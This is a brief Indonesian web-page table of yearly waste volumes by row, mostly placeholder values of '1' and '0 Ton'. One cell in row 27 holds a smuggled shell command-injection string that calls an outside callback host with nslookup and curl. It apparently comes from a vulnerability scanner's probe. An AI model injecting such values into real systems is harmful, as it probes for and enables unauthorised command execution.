No | Kecamatan | Desa | Volume Sampah | Tahun |
---|---|---|---|---|
26 | 1 | 0 Ton | 2022 | |
27 | $(nslookup -q=cname hitotkzbmebcd72d7f.bxss.me||curl hitotkzbmebcd72d7f.bxss.me) | 0 Ton | 2022 | |
28 | 1 | 0 Ton | 2022 | |
29 | 1 | 0 Ton | 2022 | |
30 | 1 | 0 Ton | 2022 | |
31 | 1 | 0 Ton | 2022 | |
32 | 1 | 0 Ton | 2022 | |
33 | 1 | 0 Ton | 2022 |
Follow Sosial Media Kami
Copyright Peternak Kode © 2020